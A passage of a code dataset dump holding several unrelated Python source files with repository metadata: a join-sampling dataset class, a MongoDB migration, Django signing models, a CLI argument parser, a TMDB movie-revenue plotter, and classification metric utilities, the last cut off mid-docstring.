specified, inserting np.nan to all column domains'\n            )\n            for col in self.combined_columns:\n                # TODO: technically don't need to add NULL to the fanout cols.\n                col.InsertNullInDomain()\n\n        if disambiguate_column_names:\n            self.join_keys_set = set(\n                JoinTableAndColumnNames(t, c)\n                for t, cs in self.join_keys.items()\n                for c in cs)\n        else:\n            self.join_keys_set = set(\n                c for cs in self.join_keys.values() for c in cs)\n\n        self.rng = None\n\n        if initialize_sampler:\n            self._init_sampler()\n\n        if self.load_samples:\n            self.materialized_samples = pd.read_csv(self.load_samples)\n            self.materialized_samples_ptr = 0\n\n    @abstractmethod\n    def _init_sampler(self):\n        raise NotImplementedError\n\n    @abstractmethod\n    def _run_sampler(self):\n        raise NotImplementedError\n\n    def _add_virtual_column(self, i, table_name, key, columns, types,\n                            table_indexes, table_df, single_key):\n        # TODO: better yet, get this information from the join count tables\n        column = Column('__fanout_{}'.format(table_name) if single_key else\n                        '__fanout_{}__{}'.format(table_name, key))\n        max_count = table_df.groupby(by=[key]).size().max()\n        column.SetDistribution(np.arange(max_count + 1))\n        columns.append(column)\n        types.append(TYPE_FANOUT)\n        table_indexes.append(i)\n\n    def _maybe_add_full_join_virtual_columns(self, columns, types,\n                                             table_indexes):\n        if self.add_full_join_indicators:\n            for i, t in enumerate(self.tables):\n                columns.append(\n                    Column('__in_{}'.format(t.name)).Fill(np.array(\n                        [np.nan, 1.0]),\n                                                          infer_dist=True))\n                types.append(TYPE_INDICATOR)\n                table_indexes.append(i)\n        if self.add_full_join_fanouts:\n            for i, table in enumerate(self.tables):\n                if i == self.primary_table_index:\n                    # Optimization: if there is a primary table of a schema\n                    # (i.e., a primary join key), we don't have to add virtual\n                    # columns for this table.  Its fanouts are all 1s, anyway.\n                    continue\n                join_keys = self.join_keys[table.name]\n                table_df = self.table_dict[table.name].data\n                table_df.index.name = None\n                for key in join_keys:\n                    self._add_virtual_column(i, table.name, key, columns, types,\n                                             table_indexes, table_df,\n                                             len(join_keys) == 1)\n\n    def columns_in_join(self):\n        return self.combined_columns\n\n    def __iter__(self):\n        return self\n\n    def _maybe_save_samples(self, sampled_df):\n        import filelock\n        if self.save_samples is not None:\n            with filelock.FileLock(self.save_samples + '.lock'):\n                if not os.path.exists(self.save_samples):\n                    sampled_df.to_csv(self.save_samples,\n                                      mode='w',\n                                      header=True,\n                                      index=False)\n                else:\n                    sampled_df.to_csv(self.save_samples,\n                                      mode='a',\n                                      header=False,\n                                      index=False)\n\n    def _load_samples_chunk(self):\n        print('loading')\n        ptr = self.materialized_samples_ptr\n        self.materialized_samples_ptr += self.sample_batch_size\n        total = len(self.materialized_samples)\n        return self.materialized_samples[ptr:min(total, self.\n                                                 materialized_samples_ptr)]\n\n    def _sample_batch(self, do_discretize=True):\n        \"\"\"Samples a raw pd.DataFrame; optionally discretize into np.ndarray.\"\"\"\n        if self.rng is None:\n            wi = torch.utils.data.get_worker_info()\n            if wi is not None:\n                # Worker processes.\n                self.rng = np.random.RandomState(wi.id)\n            else:\n                # Main process.  Used for test set eval only.\n                self.rng = np.random.RandomState()\n\n        if self.load_samples:\n            sampled_df = self._load_samples_chunk()\n        else:\n            sampled_df = self._run_sampler()\n\n        assert len(sampled_df.columns) == len(self.combined_columns), (len(\n            sampled_df.columns), sampled_df.columns, len(\n                self.combined_columns), self.combined_columns)\n\n        self._maybe_save_samples(sampled_df)\n\n        self.pointer = 0\n        if do_discretize:\n            discretized = []\n            for i, (col_name, col) in enumerate(\n                    zip(sampled_df.columns, self.combined_columns)):\n                # Dropped join keys?\n                assert col_name not in self.join_keys_set\n\n                # Just some extra checks.\n                if not self.disambiguate_column_names:\n                    assert col_name == col.name, (sampled_df.columns, col_name,\n                                                  col.name)\n                else:\n                    assert col.name.endswith(col_name), (sampled_df.columns,\n                                                         col_name, col.name)\n\n                discretized_col_data = Discretize(col, sampled_df.iloc[:, i])\n                discretized.append(discretized_col_data.reshape(-1, 1))\n\n            self.buffer = np.hstack(discretized)\n        else:\n            self.buffer = sampled_df\n\n    def get_next(self, do_discretize=True):\n        if self.pointer >= self.sample_batch_size:\n            self._sample_batch(do_discretize)\n        curr_pointer = self.pointer\n        self.pointer += 1\n        return self.buffer, curr_pointer\n\n    def __next__(self):\n        batch, i = self.get_next()\n        return batch[i]\n\n\nclass SampleFromJoinIterDataset(SamplerBasedIterDataset):\n    \"\"\"An IterableDataset that samples from a join on the fly.\"\"\"\n\n    def _init_sampler(self):\n        pass\n\n    def _run_sampler(self):\n        raise NotImplementedError\n\n\ndef ConcatTables(tables,\n                 join_keys,\n                 disambiguate_column_names=False,\n                 sample_from_join_dataset=None):\n    \"\"\"Makes a dummy Table to represent the schema of a join result.\"\"\"\n    cols_in_join = sample_from_join_dataset.columns_in_join()\n    names = [t.name for t in tables]\n    all_keyword_column_num = {} \n    all_word2col = {}\n    for t in tables:\n        print(t.name)\n        for c in t.keyword_column_num:\n            print('XXXXXXXX\\t', c)\n            c_name = JoinTableAndColumnNames(t.name, c) \n            c_num = t.keyword_column_num[c]\n            c_word2col = t.word2col[c]\n            all_keyword_column_num[c_name] = c_num\n            all_word2col[c_name] = c_word2col\n    table = Table('-'.join(names), cols_in_join, keyword_column_num=all_keyword_column_num, \n                  word2col=all_word2col, validate_cardinality=False)\n    table.table_names = names\n    return table\n\n\ndef JoinTableAndColumnNames(table_name, column_name, sep=':'):\n    return '{}{}{}'.format(table_name, sep, column_name)\n","repo_name":"mzz235711/Selectivity-estimation-for-querying-set-valued-data","sub_path":"neurocard/neurocard/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":54321,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"12134127812","text":"import logging\nfrom diworker.diworker.migrations.base import BaseMigration\nfrom optscale_client.rest_api_client.client_v2 import Client as RestClient\n\"\"\"\nSet box_usage=True for SavingsPlanNegation expenses of AmazonSageMaker service\n\"\"\"\n\nLOG = logging.getLogger(__name__)\n\n\nclass Migration(BaseMigration):\n    @property\n    def mongo_raw(self):\n        return self.db.raw_expenses\n\n    @property\n    def mongo_resources(self):\n        return self.db.resources\n\n    @property\n    def rest_cl(self):\n        if self._rest_cl is None:\n            self._rest_cl = RestClient(\n                url=self.config_cl.restapi_url(), verify=False)\n            self._rest_cl.secret = self.config_cl.cluster_secret()\n        return self._rest_cl\n\n    def get_cloud_accs(self):\n        cloud_accounts_ids = set()\n        _, organizations = self.rest_cl.organization_list({\n            'with_connected_accounts': True, 'is_demo': False})\n        for org in organizations['organizations']:\n            _, accounts = self.rest_cl.cloud_account_list(\n                org['id'], type='aws_cnr')\n            for cloud_account in accounts['cloud_accounts']:\n                if cloud_account['auto_import']:\n                    cloud_accounts_ids.add(cloud_account['id'])\n        return cloud_accounts_ids\n\n    def execute(self, update_condition):\n        cloud_accs = self.get_cloud_accs()\n        for i, cloud_acc_id in enumerate(cloud_accs):\n            LOG.info('Starting processing for cloud account %s (%s/%s)' % (\n                cloud_acc_id, i+1, len(cloud_accs)))\n            sp_resources = list(\n                x['cloud_resource_id'] for x in self.mongo_resources.find(\n                    {'cloud_account_id': cloud_acc_id,\n                     'resource_type': 'Savings Plan'},\n                    {'cloud_resource_id': 1}))\n            for cloud_resource_id in sp_resources:\n                self.mongo_raw.update_many(\n                    {'cloud_account_id': cloud_acc_id,\n                     'resource_id': cloud_resource_id,\n                     'product/servicecode': 'AmazonSageMaker',\n                     'lineItem/LineItemType': 'SavingsPlanNegation'},\n                    update_condition\n                )\n\n    def upgrade(self):\n        update_condition = {'$set': {'box_usage': True}}\n        self.execute(update_condition)\n\n    def downgrade(self):\n        update_condition = {'$unset': {'box_usage': ''}}\n        self.execute(update_condition)\n","repo_name":"hystax/optscale","sub_path":"diworker/diworker/migrations/2023070511300000_box_usage_for_sm_spnegation.py","file_name":"2023070511300000_box_usage_for_sm_spnegation.py","file_ext":"py","file_size_in_byte":2451,"program_lang":"python","lang":"en","doc_type":"code","stars":646,"dataset":"github-code","pt":"22"}
+{"seq_id":"42177793530","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\nclass Key(models.Model):\n\n    user = models.ForeignKey(\n        User,\n        on_delete=models.CASCADE,\n        related_name='keys',\n    )\n    private_key = models.BinaryField(verbose_name='Chave Privada')\n    public_key = models.BinaryField(verbose_name='Chave Pública')\n\n    def __str__(self):\n        return f'Chave para o usuário: {self.user}'\n\nclass Signature(models.Model):\n\n    data = models.DateTimeField(verbose_name='Data e Hora', auto_now_add=True)\n    assinatura = models.TextField(verbose_name='Assinatura')\n    hash = models.TextField(verbose_name='Hash')\n\n    def __str__(self):\n        data_formatada = self.data.strftime('%Y-%m-%d %H:%M:%S')\n        return f\"Assinatura em {data_formatada}\"\n    \n\nclass Document(models.Model):\n\n    user = models.ForeignKey(User, on_delete=models.CASCADE, related_name='documentUser')\n    texto = models.TextField(verbose_name='Texto')\n    salvo = models.BooleanField(verbose_name='Salvo?')\n    assinado = models.ForeignKey(Signature, on_delete=models.CASCADE, related_name='userSignature', null=True, blank=True)\n\n    def __str__(self):\n        return f\"Documento do usuário: {self.user}\"\n    \n","repo_name":"StefanoDeSa/django-projeto-seguranca","sub_path":"assinaturas/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"17633542288","text":"\nimport sys\nimport collections\n\nfrom .flag import Flag , PersistentFlag , HelpFlag\n\n\n\nclass Command(object):\n\n    \"\"\"\n        Creates a command object that provides the execution of the cli commands\n        & command chaining\n\n        Attributes:\n            use (str): the name of the command (mandatory)\n            short (str): short description of the command\n            long (str): long description of the command\n            run (str): the method to run when the command is executed\n            commands ([]Command): list of sub-commands\n            parent (Command): the parent command\n            pos (int): absolute position relative to parent\n            parents (int): number of parent commands to determine the argument\n                           postion in terms of self.argv\n            flag (Flag): the flag object that holds all the flags assigned\n                         to the command\n\n            persistent_flag (PersistentFlag): the persistent flag object that\n                                              helps create all the flags for\n                                              the command\n\n            flag_collection (collections.namedtuple): a collection to store the\n                                                      flag_use & value of that\n                                                      flag\n            argv ([]sys.argv): a copy of sys.argv\n\n            help_flag (HelpFlag): the help flag\n\n\n        Example:\n\n            root_command = pikli.Command(\n                    use = \"hello\",\n                    short = \"Hello is the  first ever cli app built using pikli\",\n            )\n\n\n    \"\"\"\n\n    def __init__(self , use , short = None , long = None , run = None):\n        self.use = use\n        self.short = short\n        self.long = long\n        self.run = run\n        self.commands = []\n        self.parent = None\n        self.pos = 0\n        self.parents = 0\n        self.flag = Flag()\n        self.persistent_flag = PersistentFlag(self)\n        self.flag_collection = collections.namedtuple(\"flag\" , [\"flag_use\" , \"value\"])\n        self.argv = []\n\n        self.help_flag = HelpFlag(self)\n\n    def execute(self):\n\n        \"\"\" Performs the execution of the command\n\n            Example:\n                root_command = pikli.Command(\n                        use = \"hello\",\n                        short = \"Hello is the  first ever cli app built using pikli\",\n                )\n                root_command.execute()\n\n        \"\"\"\n\n        self.parents = self.__parent_count()\n\n        self.pos = self.parents - 1\n\n        self.argv = sys.argv[self.pos:] #starting index from self.pos because, nothing before the command is needed(i.e parents)\n\n        self.__clean_argv()\n\n\n        if not self.__help_flag():\n\n            self.__check_flags()\n\n            self.__check_run()\n\n            self.__check_sub_commands()\n\n            if not self.run and len(self.argv) == 1:#if nothing to run & no args\n                self.help_flag.execute() #then show help\n\n\n    def add_command(self , *cmnd):\n\n        \"\"\" Adds a sub command under the current command\n\n            Args:\n                *cmnd ([]Command): the list of command to be added as the sub-command\n\n            Example:\n                root_command = pikli.Command(\n                        use = \"hello\",\n                        short = \"Hello is the  first ever cli app built using pikli\",\n                )\n\n                migration_command = pikli.Command(\n                        use = \"migration\",\n                        short = \"Runs Database migrations\"\n                )\n                root_command.add_command(migration_command)\n\n        \"\"\"\n\n        for cmd in cmnd:\n            cmd.parent = self\n            self.commands.append(cmd)\n\n\n    def flags(self):\n\n        \"\"\" returns the flag object that holds all the flags for the command \"\"\"\n\n        return self.flag\n    def persistent_flags(self):\n\n        \"\"\" returns the flag object that holds all the persistent flags for the command \"\"\"\n\n        return self.persistent_flag\n\n\n    def __parent_count(self):\n\n        \"\"\" Calculates the number of parents in the whole chain & returns the\n            count\n        \"\"\"\n\n        count = 0\n        parent = self #a single node is still a parent without a child\n        while parent:\n            count += 1\n            parent = parent.parent\n        return count\n    def __clean_argv(self):\n\n        \"\"\"\n\n            Strips the argv list of any unwanted values. Specially, parent flags\n\n        \"\"\"\n        while self.argv[0] != self.use and self.argv[0] != sys.argv[0]:#while there are unwanted values at the start of the list && not parent(because if parent, the starting value would be the script name)\n            self.argv.pop(0)\n    def __is_sub_command(self ,arg):\n\n        \"\"\"\n\n            Determines if the argument provided is a sub-command & returns it if true\n\n            Args:\n                arg (str): a command line argument\n\n            Returns:\n                Command/None\n\n        \"\"\"\n\n        for cmnd in self.commands:\n            if arg == cmnd.use:\n                return cmnd\n        return None\n\n    def __help_flag(self):\n\n\n        \"\"\"\n\n            determines if help flag for the command is provided or not\n\n            Returns:\n                True/False\n\n        \"\"\"\n\n\n        help_flag_found = False\n        own_help_flag = True\n\n        for arg in self.argv[1:]: #iterating from index 1 because, the first index is the command itself\n            if arg == \"-h\" or arg == \"--help\": #looking for any help flags\n                help_flag_found = True\n                self.argv.pop(self.argv.index(arg))\n                break\n            if self.__is_sub_command(arg): #looking for any other commands before the help flag\n                own_help_flag  = False    #which determines if the help flag belongs to this command or not\n                break\n            if not own_help_flag:\n                break\n\n        if help_flag_found:\n            self.help_flag.execute()\n            return True\n        return False\n\n\n    def __check_run(self):\n\n        \"\"\" Checks for a run method & acts accordingly \"\"\"\n\n        if self.run:\n            try:\n                self.run(self.argv[1:]) # sending the list from index 1 because the first value is the command name\n            except Exception:\n                print(\"Run Error: Something wrong with the run function, check the arguments\")  # TODO: Add explicit exceptions\n\n\n    def __check_sub_commands(self):\n\n        \"\"\" Checks for any sub commands from the cli for execution \"\"\"\n\n\n        for arg in self.argv[1:]:\n            cmnd = self.__is_sub_command(arg)\n            if cmnd:\n                cmnd.execute()\n                break\n\n\n\n    def __parse_flags(self , flag_list):\n\n\n        \"\"\"\n\n           Parses the flags along with their values from the argv list.\n\n           Args:\n                flag_list ([]flag_collection): a list of flag_collection\n\n        \"\"\"\n\n        for i , arg in enumerate(self.argv):\n            if self.__is_sub_command(arg):#if a sub command is detected\n                break   #then it means no more flags for this command\n            if arg[0] == \"-\" and arg[0] != arg[1]: #every flag starts with -\n                flag = self.flag.get_flag(arg)\n                try:\n                    assert (flag) , \"Unknown flag '{}' for command '{}'\".format(arg , self.use)\n                except AssertionError as e:\n                    print(\"Flag Error: {}\".format(e))\n                if flag:\n                    if flag.get_type() == \"bool\":\n                        flag_list.append(self.flag_collection(arg , True))\n                        self.argv.pop(i)\n                        self.__parse_flags(flag_list)#recursion because, need to start looking for flags after pop occurs to get the right index numbers from enumerate\n                        break # break to stop the loop from iterating after recurssion occurs because its not needed\n                    else:\n                        try:\n                            flag_list.append(self.flag_collection(arg , self.argv[i+1]))#assigning the flag with its value\n                        except IndexError: #if value is not provided for the flag\n                            print(\"Flag Error: Must provide a {} value for the flag '{}'\".format(flag.get_type() , arg))\n                            self.argv.pop(i)\n                            continue\n                        self.argv.pop(i)\n                        self.argv.pop(i) #after popping, the value index becomes the current index\n                        self.__parse_flags(flag_list)\n                        break\n\n    def __parse_long_flags(self , flag_list):\n        \"\"\"\n\n           Parses the flags(long version) with along with their values from the argv list.\n\n           Args:\n                flag_list ([]flag_collection): a list of flag_collection\n\n        \"\"\"\n\n        for i , arg in enumerate(self.argv):\n            if self.__is_sub_command(arg):#if a sub command is detected\n                break   #then it means no more flags for this command\n            if arg[0] == \"-\" and arg[1] == \"-\": #every flag starts with -\n\n                no_dash = arg[2:]\n                fname = \"\"\n                val = None\n                if \"=\" in no_dash:\n                    fname , val = no_dash.split(\"=\")\n                else:\n                    fname = no_dash\n                flag = self.flag.get_flag_by_name(fname)\n                try:\n                    assert (flag) , \"Unknown flag '{}' for command '{}'\".format(arg , self.use)\n                except AssertionError as e:\n                    print(\"Flag Error: {}\".format(e))\n                if flag:\n                    if flag.get_type() == \"bool\":\n                        flag_list.append(self.flag_collection(flag.flag_use , True))\n                        self.argv.pop(i)\n                        self.__parse_long_flags(flag_list)#recursion because, need to start looking for flags after pop occurs to get the right index numbers from enumerate\n                        break # break to stop the loop from iterating after recurssion occurs because its not needed\n                    else:\n                        try:\n                            assert (val) , \"Must provide a {} value for the flag '{}'\".format(flag.get_type() , fname)\n                            flag_list.append(self.flag_collection(flag.flag_use , val))#assigning the flag with its value\n                        except AssertionError as e:\n                            print(\"Flag Error: {}\".format(e))\n                        self.argv.pop(i)\n                        self.__parse_long_flags(flag_list)\n                        break\n\n\n    def __parse_valid_flags(self):\n\n        \"\"\"\n\n            Parses just the flags with their values along with the valid ones\n            which only belongs to this command. This is done to remove restrictions\n            regarding arguments. For example:\n\n            Before this was added, there was a restriction of using argments\n            just after the command name:\n                [command] [arg1] [args] [flags....]\n\n            After adding this, users can provide the args wherever they want:\n                [command] [flag1] [flag1-value] [arg1] [flag2] [flag2-value] [arg2]\n\n\n\n            Returns:\n                flags: a list of flag_collection\n\n        \"\"\"\n\n        flags = []\n\n        self.__parse_flags(flags)\n        self.__parse_long_flags(flags)\n\n\n        return flags\n\n\n    def __check_flags(self):\n\n        \"\"\" Checks for any flags to assign value to them \"\"\"\n\n        flag_nv_list = self.__parse_valid_flags()\n\n\n        for f in flag_nv_list:\n            flag = self.flag.get_flag(f.flag_use)\n            if flag:\n                if flag.get_type() == \"bool\":\n                    self.flag.assign_flag_value(flag , True)#if the flag is bool,the value must be true\n                else:\n                    self.flag.assign_flag_value(flag , f.value)#sending the flag with the value(they will be side by side)\n","repo_name":"Anondo/pikli","sub_path":"pikli/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":12051,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"24593120965","text":"\nfrom apikeys import TMDB_KEY\nimport time\nimport sys\nfrom datetime import datetime                                                                   #import datetime\nfrom bokeh.plotting import *                                                                    #import Bokeh\nimport requests\n\ndef access_api(url, payload):\n    \"\"\"Generic calling function to get information from the TMDB database.\"\"\"\n    r = requests.get(url, params = payload)\n    return r.json()\n\ndef movie_details(movie_ids):\n    \"\"\"Takes a list called movie_ids list, makes a a list of dictionaries of movies with revenue greater than $10,0000\"\"\"\n    \n    \"\"\"A list of dictionaries certain info of actor's movies that have revenue greater than $1000 as a filter.\"\"\"\n    movie_details = []                                                          \n\n    for movie_id in movie_ids:\n        movies_lists_dict = {}                                                                  # Dictionary to store various lists about movies\n        film_url = \"https://api.themoviedb.org/3/movie/\" + str(movie_id)                        #URL ID pattern\n        movie_response = access_api(film_url, {\"api_key\": TMDB_KEY, \\\n            \"movie_id\": id})                                                                    #Using access_api(). Arguments are url variable and payload\n\n        print('.', end = ' ')                                                                   #Print dots to show progress\n        sys.stdout.flush()                                                                      #Flush dots from buffer\n        if (movie_response['revenue'] >= 10000):                                                #Filter for movies\n            movies_lists_dict['release_date'] = movie_response['release_date']\n            movies_lists_dict['profit'] = movie_response['revenue'] - movie_response['budget']  #Store profit into a list in movies_lists_dict\n            movie_details.append(movies_lists_dict)\n    movie_details = sorted(movie_details, key=lambda k: k['release_date'])                      #Sort the list according to release_dates\n    \n    return(movie_details)\n\ndef return_movie_id(name_of_actor):\n    \"\"\"Takes actor name, finds ID of the actor from the API and returns all their movie id's.\"\"\"\n\n    \"\"\"Call access_api() to search for movies. Parameters: actor id URL pattern, payload\"\"\"\n    search_actor = access_api(\"https://api.themoviedb.org/3/search/person\", {\"api_key\": TMDB_KEY, \"query\": name_of_actor, \\\n    \"include_adult\" : True})                                                                    \n    \n    actor_id = search_actor['results'][0]['id'] #Store ID of the actor in a list, assuming 0th element is the correct search result\n\n    \"\"\"Call access_api() to search for movies. Parameters: actor id URL pattern, payload\"\"\"\n    search_movie_credits = access_api(\"https://api.themoviedb.org/3/person/\" + str(actor_id) + \"/movie_credits\", \\\n    {\"api_key\": TMDB_KEY, \"actor_id\": actor_id})                                               \n\n    \"\"\"Create empty list and put all the retrieved movie ID's into a list\"\"\"\n    movie_ids = []                                                                            \n    for num in range(0, len(search_movie_credits['cast'])):\n        movie_ids.append(search_movie_credits['cast'][num]['id'])                                    \n    return(movie_ids)\n\n\ndef create_graph(name_of_actor,movie_deets):\n    \"\"\"Create graph using Bokeh. x-axis is date(in terms of years) and y-axis is revenue in dollars\"\"\"\n\n    output_file(\"actor_popularity.html\")                                   \t\t\t\t\t\t#Output file created\n\n    profits =[]\n    year_of_release=[]\n    \n    for i in range(len(movie_deets)):\n        release_date = movie_deets[i]['release_date']\n        date_object = datetime.strptime(release_date, '%Y-%m-%d').date()         \t\t\t\t#Convert 'release date' into an object to extract year.\n        year_of_release.append(date_object.year)                                  \t\t\t\t#Append years of the above date object to a list\n        profits.append(movie_deets[i]['profit'])                     \t\t\t\t\t\t\t#Append movie profits to another list\n    \n    \"\"\" Plot creation and stylization\"\"\"\n    p = figure(plot_width = 1200, plot_height = 600, title= \"Popularity of \" + name_of_actor.title() \\\n        + \" over time\", x_axis_label='Year of release', y_axis_label='Revenue(USD)')\n    p.left[0].formatter.use_scientific = False\n    p.yaxis.major_label_orientation = 45\n    p.xaxis.axis_label_text_font = 'avenir'\n    p.xaxis.axis_label_text_font_style = 'normal'\n    p.yaxis.axis_label_text_font = 'avenir'\n    p.yaxis.axis_label_text_font_style = 'normal'\n    p.title.text_font = 'futura'\n    p.title.text_font_style = 'normal'\n    p.title.align = 'center'\n    p.title.text_font_size = '20pt'\n    p.background_fill_color = \"beige\"\n    p.background_fill_alpha = 0.2\n    p.outline_line_width = 1\n    p.outline_line_color = 'black'\n\n    p.line(year_of_release, profits, line_width=2, line_color = \"red\", line_alpha = 0.6)        #Specify the glyph and its attributes\n\n    show(p)\n\nif __name__ == \"__main__\":\n    \"\"\" Initiate program. \"\"\"\n    \n    name_of_actor = input('\\nEnter actor name: ')                                            \t#Input actor name with UI for user on bash\n    movie_ids = return_movie_id(name_of_actor)                                           \t\t#Get name_of_actor's movie IDs\n    print('\\nCreating popularity graph for '+ name_of_actor.capitalize() + ' movies')\t\t\t#UI for user on bash\n    movie_deets = movie_details(movie_ids)                             \t\t\t\t\t\t\t#Call movie_details function\n    print('\\n')\n    create_graph(name_of_actor,movie_deets)                           \t\t\t\t\t\t\t#Plot using Bokeh\n","repo_name":"infx598i-s17/a6-movie-trends-arunabh121","sub_path":"actor_trends.py","file_name":"actor_trends.py","file_ext":"py","file_size_in_byte":5743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"5856523145","text":"from numbers import Number\nimport copy\nimport numpy as np\nimport torch\nfrom torch.nn.functional import one_hot\n\ndef accuracy(output, target, topk=(1,)):\n    \"\"\"Computes the precision@k for the specified values of k\"\"\"\n    with torch.no_grad():\n        maxk = max(topk)\n        batch_size = target.size(0)\n        \n        _, pred = output.topk(maxk, 1, True, True)\n        pred = pred.t()\n\n        correct = pred.eq(target.view(1, -1).expand_as(pred))\n        \n        res = {}\n        for k in topk:\n            \n            correct_k = correct[:k].float().sum().cpu().numpy()\n            res[k] = (correct_k / batch_size)\n        return res\n\ndef fuzziness(feats, labels, num_classes):\n    \"\"\"\n    Compute fuzziness according to features and corresponding labels.\n    Args:\n        feats[torch.tensor, N x [*]]: features used to compute fuzziness\n        labels[torch.tensor, N]: labels of each sample\n    Return:\n        fuzziness[float]\n    \"\"\"\n    device = labels.device\n    \n    feats = copy.deepcopy(feats)\n    labels = copy.deepcopy(labels)\n    feats = feats.reshape(feats.size(0), -1).to(device)  # [N x C]\n    C = feats.size(1)\n\n    feats = feats.to(device)\n\n    whole_feat_mean = feats.mean(dim=0)  # [C]\n\n    feats = feats - whole_feat_mean.view(1, -1)\n    \n    # compute mean\n    class_idxs = list(range(num_classes))\n    feat_means = [[] for _ in class_idxs]  #{0:[C], 1:[C], 2:[C], ...}\n    \n    for idx, label in enumerate(labels):\n        label_ = int(label.item())\n        feat_means[label_].append(feats[idx])\n    feats = feats.cpu()\n    \n    signal_b = torch.zeros(C, C).to(device)\n    signal_w = torch.zeros(C, C).to(device)\n    for k in class_idxs:\n        class_feats = torch.stack(feat_means[k])\n        feat_mean = class_feats.mean(dim=0)\n        \n        diff_b = feat_mean \n        signal_b = signal_b + \\\n                      torch.matmul(diff_b.reshape(-1, 1), diff_b.reshape(1, -1)) * len(feat_means[k])\n        \n        diff_w =  class_feats - feat_mean.view(1, -1)\n        \n        signal_w = signal_w + torch.matmul(torch.transpose(diff_w, 0, 1), diff_w)\n\n    signal_b = signal_b / float(feats.size(0))\n    signal_w = (signal_w / float(feats.size(0))).cpu()\n    inv_signal_b = torch.linalg.pinv(signal_b, rcond=1e-5)\n    signal_b = signal_b.cpu()\n\n    D_seperation = torch.trace(torch.matmul(signal_w.to(device), inv_signal_b)) \n    \n    return D_seperation, signal_b.cpu(), signal_w.cpu()\n\ndef calculate_confusion_matrix(pred, target):\n    \"\"\"Calculate confusion matrix according to the prediction and target.\n\n    Args:\n        pred (torch.Tensor | np.array): The model prediction with shape (N, C).\n        target (torch.Tensor | np.array): The target of each prediction with\n            shape (N, 1) or (N,).\n\n    Returns:\n        torch.Tensor: Confusion matrix\n            The shape is (C, C), where C is the number of classes.\n    \"\"\"\n\n    if isinstance(pred, np.ndarray):\n        pred = torch.from_numpy(pred)\n    if isinstance(target, np.ndarray):\n        target = torch.from_numpy(target)\n    assert (\n        isinstance(pred, torch.Tensor) and isinstance(target, torch.Tensor)), \\\n        (f'pred and target should be torch.Tensor or np.ndarray, '\n         f'but got {type(pred)} and {type(target)}.')\n\n    # Modified from PyTorch-Ignite\n    num_classes = pred.size(1)\n    pred_label = torch.argmax(pred, dim=1).flatten()\n    target_label = target.flatten()\n    assert len(pred_label) == len(target_label)\n\n    with torch.no_grad():\n        indices = num_classes * target_label + pred_label\n        matrix = torch.bincount(indices, minlength=num_classes**2)\n        matrix = matrix.reshape(num_classes, num_classes)\n    return matrix\n\n\ndef precision_recall_f1(pred, target, average_mode='macro', thrs=0.):\n    \"\"\"Calculate precision, recall and f1 score according to the prediction and\n    target.\n\n    Args:\n        pred (torch.Tensor | np.array): The model prediction with shape (N, C).\n        target (torch.Tensor | np.array): The target of each prediction with\n            shape (N, 1) or (N,).\n        average_mode (str): The type of averaging performed on the result.\n            Options are 'macro' and 'none'. If 'none', the scores for each\n            class are returned. If 'macro', calculate metrics for each class,\n            and find their unweighted mean.\n            Defaults to 'macro'.\n        thrs (Number | tuple[Number], optional): Predictions with scores under\n            the thresholds are considered negative. Default to 0.\n\n    Returns:\n        tuple: tuple containing precision, recall, f1 score.\n\n            The type of precision, recall, f1 score is one of the following:\n\n        +----------------------------+--------------------+-------------------+\n        | Args                       | ``thrs`` is number | ``thrs`` is tuple |\n        +============================+====================+===================+\n        | ``average_mode`` = \"macro\" | float              | list[float]       |\n        +----------------------------+--------------------+-------------------+\n        | ``average_mode`` = \"none\"  | np.array           | list[np.array]    |\n        +----------------------------+--------------------+-------------------+\n    \"\"\"\n\n    allowed_average_mode = ['macro', 'none']\n    if average_mode not in allowed_average_mode:\n        raise ValueError(f'Unsupport type of averaging {average_mode}.')\n\n    if isinstance(pred, np.ndarray):\n        pred = torch.from_numpy(pred)\n    assert isinstance(pred, torch.Tensor), \\\n        (f'pred should be torch.Tensor or np.ndarray, but got {type(pred)}.')\n    if isinstance(target, np.ndarray):\n        target = torch.from_numpy(target).long()\n    assert isinstance(target, torch.Tensor), \\\n        f'target should be torch.Tensor or np.ndarray, ' \\\n        f'but got {type(target)}.'\n\n    if isinstance(thrs, Number):\n        thrs = (thrs, )\n        return_single = True\n    elif isinstance(thrs, tuple):\n        return_single = False\n    else:\n        raise TypeError(\n            f'thrs should be a number or tuple, but got {type(thrs)}.')\n\n    num_classes = pred.size(1)\n    pred_score, pred_label = torch.topk(pred, k=1)\n    pred_score = pred_score.flatten()\n    pred_label = pred_label.flatten()\n\n    gt_positive = one_hot(target.flatten(), num_classes)\n\n    precisions = []\n    recalls = []\n    f1_scores = []\n    for thr in thrs:\n        # Only prediction values larger than thr are counted as positive\n        pred_positive = one_hot(pred_label, num_classes)\n        if thr is not None:\n            pred_positive[pred_score <= thr] = 0\n        class_correct = (pred_positive & gt_positive).sum(0)\n        precision = class_correct / np.maximum(pred_positive.sum(0), 1.) * 100\n        recall = class_correct / np.maximum(gt_positive.sum(0), 1.) * 100\n        f1_score = 2 * precision * recall / np.maximum(\n            precision + recall,\n            torch.finfo(torch.float32).eps)\n        if average_mode == 'macro':\n            precision = float(precision.mean())\n            recall = float(recall.mean())\n            f1_score = float(f1_score.mean())\n        elif average_mode == 'none':\n            precision = precision.detach().cpu().numpy()\n            recall = recall.detach().cpu().numpy()\n            f1_score = f1_score.detach().cpu().numpy()\n        else:\n            raise ValueError(f'Unsupport type of averaging {average_mode}.')\n        precisions.append(precision)\n        recalls.append(recall)\n        f1_scores.append(f1_score)\n\n    if return_single:\n        return precisions[0], recalls[0], f1_scores[0]\n    else:\n        return precisions, recalls, f1_scores\n\n\ndef precision(pred, target, average_mode='macro', thrs=0.):\n    \"\"\"Calculate precision according to the prediction and target.\n\n    Args:\n        pred (torch.Tensor | np.array): The model prediction with shape (N, C).\n        target (torch.Tensor | np.array): The target of each prediction with\n            shape (N, 1) or (N,).\n        average_mode (str): The type of averaging performed on the result.\n            Options are 'macro' and 'none'. If 'none', the scores for each\n            class are returned. If 'macro', calculate metrics for each class,\n            and find their unweighted mean.\n            Defaults to 